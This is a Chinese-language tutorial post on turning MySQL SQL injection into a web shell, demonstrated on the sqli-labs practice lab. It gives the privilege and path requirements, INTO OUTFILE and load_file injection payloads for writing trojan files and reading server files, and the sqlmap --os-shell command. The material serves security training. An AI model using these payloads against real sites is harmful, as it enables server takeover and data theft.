sql注入之GETSHELL

2024.2.1

GETSHELL

利用SQL注入获取MYSQL数据库权限的要求:

文件读写基本要求:

  •  是root用户最高权限
  •  知道网站的绝对路径

文件读写注入的原理:

利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息

文件读写注入的条件:

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

secure_file_priv选项
secure_file_priv= 代表对文件读写没有限制
secure_file_priv=NULL 代表不能进行文件读写
secure_file_priv=d:/mysql/data 代表只能对该路径下文件进行读写
show global variables like'%secure% 查看mysql全局变量的配置

以下例子均为 sqli-labs-master 靶场环境

手工注入

文件的写入  

基本格式 :

'<文件内容>' into outfile/dumpfile '<待写入文件的绝对路径>'
区别 outfile dumpfile
文件类型 更适用于文本文件 更适用于二进制文件
存储方式 可以写多行 只能写一行
脏数据
可选后缀 作用 示例 结果
无后缀
?id=1' union select 1,2,'' into outfile "D:\\1.php" -- a
sql注入之GETSHELL_第1张图片
lines terminated by '<文本>' 将文本写在最后
?id=1' union select 1,2,'' into outfile "D:\\3.php" lines terminated by '' -- a
sql注入之GETSHELL_第2张图片
lines starting by '<文本>' 将文本写在最前
?id=1' union select 1,2,'' into outfile "D:\\4.php" lines starting by '666' -- a
sql注入之GETSHELL_第3张图片
fields/columns terminated by '<文本>' 设置字段分割符
?id=1' union select 1,2,'' into outfile "D:\\5.php" fields terminated by '~~' -- a
sql注入之GETSHELL_第4张图片

文件的读取

load_file('<文件的绝对路径>')
?id=-1' union select 1,2,load_file('D:\\1.php') -- a

sqlmap注入

--os-shell
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --os-shell

sql注入之GETSHELL_第5张图片

sql注入之GETSHELL_第6张图片

完成后会在指定位置生成木马文件

你可能感兴趣的:(理论,sql,笔记)